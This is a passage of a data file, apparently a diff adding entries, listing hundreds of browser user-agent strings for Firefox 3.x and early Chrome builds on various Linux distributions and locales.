rv:1.9.0.9) Gecko/2009042113 Linux Mint/6 (Felicia) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 GTB5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 Ubuntu/9.04 (jaunty) Firefox/3.5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Slackware/13.0 Firefox/3.5.2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2pre) Gecko/20090729 Ubuntu/9.04 (jaunty) Firefox/3.5.1 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090912 Gentoo Firefox/3.5.3 FirePHP/0.3 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090919 Firefox/3.5.3 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4) Gecko/20091028 Ubuntu/9.10 (karmic) Firefox/3.5.9 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.6) Gecko/20100118 Gentoo Firefox/3.5.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100315 Ubuntu/9.10 (karmic) Firefox/3.5.9 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 GTB7.1 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3) Gecko/20090407 Firefox/3.1b3 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 FirePHP/0.4 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Ubuntu/10.04 (lucid) Firefox/3.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100128 Gentoo Firefox/3.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.1) Gecko/20100122 firefox/3.6.1 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.04 (jaunty) Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.3 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100312 Ubuntu/9.04 (jaunty) Firefox/3.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100404 Ubuntu/10.04 (lucid) Firefox/3.6.3 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.4) Gecko/20100625 Gentoo Firefox/3.6.4 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.7) Gecko/20100726 CentOS/3.6-3.el5.centos Firefox/3.6.7 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100727 Firefox/3.6.8 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060814 Firefox/3.0a1 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008020513 Firefox/3.0b3 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008010415 Firefox/3.0b +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008020507 Firefox/3.0b3pre +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4) Gecko/2008031317 Firefox/3.0b4 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021712 Firefox/3.0b4pre (Swiftfox) +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021714 Firefox/3.0b4pre (Swiftfox) +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008040318 Firefox/3.0pre (Swiftfox) +Mozilla/5.0 (X11; U; Linux i686; en-us; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 +Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Linux Mint/5 (Elyssa) Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 +Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 +Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060309 Linux Mint/5 (Elyssa) Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060310 Ubuntu/8.10 (intrepid) Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.14) Gecko/2009090216 Firefox/3.0.14 +Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 GTB6 +Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.7) Gecko/20091222 SUSE/3.5.7-1.1.1 Firefox/3.5.7 +Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1 Firefox/3.5.9 +Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 +Mozilla/5.0 (X11; U; Linux i686; eu; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1.2 Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.13) Gecko/2009080315 Linux Mint/6 (Felicia) Firefox/3.0.13 +Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 +Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.0.5) Gecko/2008123017 Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 +Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux i686; fr-be; rv:1.9.0.8) Gecko/2009073022 Ubuntu/9.04 (jaunty) Firefox/3.0.13 +Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.03 +Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009031218 Gentoo Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5 +Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 +Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 +Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.10) Gecko/2009042718 CentOS/3.0.10-1.el5.centos Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 FirePHP/0.2.4 +Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-1.fc12 Firefox/3.5.9 +Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 +Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 +Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9) Gecko/2008061015 Firefox/3.0 +Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc10 Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.4) Gecko/2008111217 Red Hat Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 +Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) +Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 +Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 +Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 +Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9) Gecko/2008061015 Firefox/3.0 +Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060309 Ubuntu/8.04 (hardy) Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 +Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092700 SUSE/3.0.3-2.2 Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.4) Gecko/20081031100 SUSE/3.0.4-4.6 Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-0.1 Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121622 Slackware/2.6.27-PiP Firefox/3.0 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030422 Kubuntu/8.10 (intrepid) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc10 Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b4) Gecko/2008030800 SUSE/2.9.94-4.2 Firefox/3.0b4 +Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 +Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.1.2) Gecko/20090804 Firefox/3.5.2 +Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.2a1pre) Gecko/20090405 Ubuntu/9.04 (jaunty) Firefox/3.6a1pre +Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061812 Firefox/3.0 +Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/9.10 (karmic) Firefox/3.5.3 +Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 +Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.3a5pre) Gecko/20100526 Firefox/3.7a5pre +Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 +Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/2008080808 Firefox/3.0 +Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/20080810020329 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9) Gecko/2008061015 Firefox/3.0 +Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.0.5) Gecko/2008121621 Ubuntu/8.04 (hardy) Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.1) Gecko/20090630 Fedora/3.5-1.fc11 Firefox/3.0 +Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 +Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 +Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6 +Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 +Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.2.8) Gecko/20100722 Ubuntu/10.04 (lucid) Firefox/3.6.8 +Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 +Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux ia64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux ppc; en-GB; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 +Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux x64_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux x86; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux x86; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 +Mozilla/5.0 (X11; U; Linux x86_64) Gecko/2008072820 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.04 (hardy) Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7 +Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 +Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9) Gecko/2008061017 Firefox/3.0 +Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-0.1 Firefox/3.0.1 +Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.11) Gecko/2009070611 Gentoo Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 +Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008090713 Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.7) Gecko/2009030620 Gentoo Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.10) Gecko/20100506 SUSE/3.5.10-0.1.1 Firefox/3.5.10 +Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2) Gecko/20100308 Ubuntu/10.04 (lucid) Firefox/3.6 +Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 +Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3 +Mozilla/5.0 (X11; U; Linux x86_64; el-GR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Epiphany/2.14 +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 FirePHP/0.1.1.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 FirePHP/0.3 +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.5) Gecko/2008122010 Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc9 Firefox/3.0.7 +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4 +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.3 Safari/532.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.7 Safari/532.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.1 Safari/532.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 +Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.308.0 Safari/532.9 +Mozilla/5.0 